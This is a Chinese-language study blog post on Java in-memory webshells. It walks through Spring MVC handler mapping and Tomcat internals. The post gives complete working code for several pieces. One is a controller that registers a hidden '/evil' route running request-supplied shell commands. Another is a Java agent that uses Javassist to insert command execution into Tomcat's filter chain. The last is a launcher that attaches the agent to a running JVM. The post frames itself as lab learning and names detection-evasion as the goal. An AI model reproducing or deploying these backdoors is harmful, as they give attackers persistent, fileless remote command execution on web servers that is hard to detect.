Java 内存马(长期学习更新)

什么是MemShell?

之所以搞个这东西出来,maybe就是落地文件webshell太敏感了,无论是否代码层面是否免杀,落地了文件就是容易被查杀和拦截,属于敏感操作;而内存马(主要是针对java)能实现通过漏洞入口(一般是存在反序列化,jndi入口),通过拿到一些关键变量注入我们的恶意逻辑,通过请求恶意路由传递参数执行恶意逻辑,以达到跟传统webshell一样的效果,这个过程中无文件落地,动静较小,因此在java攻防中深受安全人员的喜爱.

分类

1.中间件系内存马

  • Servlet内存马

  • Filter内存马

  • Listener内存马

  • Tomcat Valve型内存马

  • Tomcat Upgrade内存马

  • Tomcat Executor内存马

  • Netty中间件内存马
    2.框架系内存马

  • SpringMVC框架内存马

  • SpringWebFlux内存马
    3.其他内存马

  • Websocket内存马(这个其实应该也属于tomcat系)

  • Angent内存马(这个是我后面想研究的重点,好玩!)

Spring Controller 内存马

有别于agent内存马直接修改字节码,这些通用的框架内存马通常是拿到当前thread的context然后添加恶意后门路由以及逻辑.
因此分析其Controler的解析和构成即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.springMVC;  

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

/**
* @FileName: com.springtest.TestController
* @Date: 2025/7/18/17:30
* @Author: Eviden
*/@Controller
public class TestController {
@RequestMapping("/eviden")
public String index(){
return "index";//返回的是解析的index.jsp,并非直接返回index字符串
}
}

首先搭一个spring的环境断一个路由函数

拿到一个调用栈,然后依次分析即可

最终在DispatcherServlet类中通过this.handlerMappings拿到对应request的handler

然后到AbstractHandlerMapping.getHandler

最终到AbstractHandlerMethodMapping.getHandlerInternal 拿到合适的 handlerMethod
目标就关注这个mapRegistry

应该就是直接添加一个键值进去,所以我们如果可以手动触发register方法,就可以添加恶意路由
public void register(T mapping, Object handler, Method method)

该类为抽象类,无法直接实例化,可以通过找到子类进行触发register方法
RequestMappingInfoHandlerMapping extends AbstractHandlerMethodMapping but这个RequestMappingInfoHandlerMapping又是抽象类,继续往下找
public class RequestMappingHandlerMapping extends RequestMappingInfoHandlerMapping

那么RequestMappingHandlerMapping 就是我们的入口了,看一下传参

1
2
3
mapping – the mapping for the handler method
handler – the handler
method – the method

因此并不能直接new一个对象,因为项目以及启动,得先拿到上下文context这个变量,在这儿可以传入有效的上下文初始化打一个断点看看
最终在WebApplicationContext接口里看到了ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE

自己找到一个,入参是ServletContext sc,那么可以看看它是如何得到的WebApplicationContext


直接通过sc.getAttribute(attrName)就拿到了那么我们还可以简化一下,就是拿到这个ServletContext即可!(最后发现这个拿到的context也不是当前运行环境的context,遂die~)
但是分析的位置其实是对的,but就是失败,后面找文章学习学习
WebApplicationContextUtils 中存在 getWebApplicationContext getRequeiredWebApplication 都可以根据当前的ServletContext直接拿到当前运行的context!因为它是抽象类,那我们直接使用即可

后面还是通过WebApplicationContext wc= (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);拿到的context才注入成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package com.springMVC;  

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestAttributes;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;

@Controller
public class evil{
@RequestMapping("/inject")
@ResponseBody
public String inject(HttpServletRequest request) throws NoSuchMethodException {
//ServletContext sc = request.getServletContext();
//WebApplicationContext wc =(WebApplicationContext) sc.getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE);
WebApplicationContext wc= (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping rmhl = wc.getBean(RequestMappingHandlerMapping.class);
PatternsRequestCondition evilPath = new PatternsRequestCondition("/evil");
RequestMappingInfo mapping = new RequestMappingInfo(evilPath, new RequestMethodsRequestCondition(), null, null,null,null,null);
Method method = EvilController.class.getMethod("cmd");
//入参 mapping handler method rmhl.registerMapping(mapping,new EvilController(),method);
System.out.println(rmhl.getHandlerMethods().keySet());
return "Inject done";
}
@Controller
@ResponseBody public class EvilController {
public EvilController(){
}
public void cmd()throws Exception{
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
if (request.getParameter("cmd")!=null){
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
}
}
}

网上看到都是用的(WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);感觉上应该不止这个方法,rasp太容易监控这个了类了,或者别人随便搞个黑名单就kill all了~

翻了一下网上居然没有agent去hook spring函数的内存马???目前就只看到过tomcat的,还是广为流传的垃圾版本…
而且spring又不是只能运行在tomcat,众所周知某微的就是resin框架,感觉还是得从spring这个层面来考虑考虑agent内存马

注入Agent🐎 冰蝎(一)

先列举自己踩的几个坑:

  1. 64位和32位的不能不一致,运行的jdk一般是64位,tomcat必须保持64位

  2. tomcat的输出流控制台打印好像有问题,有几条都成功

  3. 简易在maven项目里使用嵌入式的tomcat进行调试,且保持两个项目的jdk一致

Maven依赖

记得更换相关类的配置

1
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>me.eviden</groupId> <artifactId>agent-inject</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.30.2-GA</version> </dependency> <dependency> <groupId>com.sun</groupId> <artifactId>tools</artifactId> <version>1.8</version> <scope>system</scope> <!-- 更改为你自己的tools.jar的位置,防止maven打包的时候报错--> <systemPath>F:\Main-Sec\JavaSec\code\AgentShellTomcat\src\main\java\lib\tools.jar</systemPath> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-assembly-plugin</artifactId> <configuration> <descriptorRefs> <descriptorRef>jar-with-dependencies</descriptorRef> </descriptorRefs> <archive> <manifestEntries> <Main-Class>me.eviden.Main</Main-Class> <Agent-Class>me.eviden.AgentMainTest</Agent-Class> <Can-Redefine-Classes>true</Can-Redefine-Classes> <Can-Retransform-Classes>true</Can-Retransform-Classes> </manifestEntries> </archive> </configuration> <executions> <execution> <id>make-assembly</id> <phase>package</phase> <goals> <goal>single</goal> </goals> </execution> </executions> </plugin> </plugins> </build> </project>

AgentMainTest 控制被注入的类的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package me.eviden;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

/**
* @FileName: AgentMainTest
* @Date: 2025/7/18/10:08
* @Author: Eviden
*/
public class AgentMainTest {
public static void agentmain(String agentArgs, Instrumentation inst) {
System.out.println("[Agent attached!]");
inst.addTransformer(new MyTransformer(), true);
for (Class<?> clazz : inst.getAllLoadedClasses()) {
if (clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
System.out.println("[Found ApplicationFilterChain, begin to retransform]");
try {
inst.retransformClasses(clazz);
System.out.println("[Retransform success!]");
} catch (UnmodifiableClassException e) {
System.out.println("[Retransform failed!]");
throw new RuntimeException(e);
}
}
}
}
}

MyTransformer用assist或者ASM技术操作字节码都行,主要是在org/apache/catalina/core/ApplicationFilterChain的doFilter方法前嵌入我们的恶意代码,but实测下来有问题或者说手法太过粗糙…,会弹出两次计算器,见大佬的分析: Java Agent 内存马 - X1r0z Blog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package me.eviden;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;

import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

/**
* @FileName: MyTransformer
* @Date: 2025/7/18/10:09
* @Author: Eviden
*/
public class MyTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (className.equals("org/apache/catalina/core/ApplicationFilterChain")){
ClassPool pool = ClassPool.getDefault();
pool.appendClassPath(new LoaderClassPath(loader));
try {
CtClass cc = pool.makeClass(new ByteArrayInputStream(classfileBuffer));
CtMethod doFilter = cc.getDeclaredMethod("doFilter");
doFilter.insertBefore("{ " +
"String cmd = request.getParameter(\"cmd\");\n" +
"if (cmd != null) {\n" +
" try {\n" +
" Process proc = Runtime.getRuntime().exec(cmd);\n" +
" java.io.InputStream in = proc.getInputStream();\n" +
" java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" response.setContentType(\"text/html\");\n" +
" String line;\n" +
" java.io.PrintWriter out = response.getWriter();\n" +
" while ((line = br.readLine()) != null) {\n" +
" out.println(line);\n" +
" out.flush();\n" +
" out.close();\n" +
" }\n" +
" } catch (Exception e) {\n" +
" throw new RuntimeException(e);\n" +
" }\n" +
"}" +
" }");
return cc.toBytecode();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
// 直接返回原始字节码
return classfileBuffer;
}
}

启动类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package me.eviden;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.security.ProtectionDomain;
import java.util.List;

/**
* @FileName: Main
* @Date: 2025/7/18/10:09
* @Author: Eviden
*/public class Main {
public static void main(String[] args) throws Exception {
final String attachClassName = "com.eivden.Main";
//手动导入还是方便一些
final String agentJarPath = "F:\\Main-Sec\\JavaSec\\code\\AgentShellTomcat\\target\\agent-inject-1.0-SNAPSHOT-jar-with-dependencies.jar";
String pid = "";
// 列出已加载的jvm
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor v : list) {
if (v.displayName().contains(attachClassName)) {
System.out.println("[Found target at JVM: " + v.displayName() + "]");
pid = v.id();
System.out.println("[Found PID: " + pid + "]");
}
}
VirtualMachine vm = VirtualMachine.attach(pid);
vm.loadAgent(agentJarPath);
System.out.println("[Agent loaded successfully!]");
}
}

下面以JDK 8u202 以及tomcat 9.0.85 作为目标靶机进行演示:
嵌入式 tomcat 项目配置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>com.eviden.learnjava</groupId>
<artifactId>web-servlet-embedded</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>war</packaging>

<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<java.version>8</java.version>
<tomcat.version>9.0.85</tomcat.version>
</properties>

<dependencies>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>${tomcat.version}</version>
<!-- <scope>provided</scope>-->
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<version>${tomcat.version}</version>
<!-- <scope>provided</scope>-->
</dependency>
</dependencies>
<build>
<finalName>hello</finalName>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-war-plugin</artifactId>
<version>3.3.2</version>
<configuration>
<!-- 复制classes到war包根目录 -->
<webResources>
<resource>
<directory>${project.build.directory}/classes</directory>
</resource>
<!-- 打包jsp-->
<resource>
<!-- 指定你的jsp所在位置!-->
<directory>src/main/java/com/eivden/webapps</directory>
<includes>
<include>**/*.jsp</include>
</includes>
</resource>
</webResources>
<archiveClasses>true</archiveClasses>
<archive>
<manifest>
<!-- 添加Class-Path -->
<addClasspath>true</addClasspath>
<!-- Classpath前缀 -->
<classpathPrefix>tmp-webapp/WEB-INF/lib/</classpathPrefix>
<!-- main启动类 -->
<mainClass>com.eivden.Main</mainClass>
</manifest>
</archive>
</configuration>
</plugin>
</plugins>
</build>
</project>

注: 使用嵌入的tomcat时选取attach的类要为tomcat项目的启动类而非默认的Catalina


后面再优化优化这个内存马的逻辑…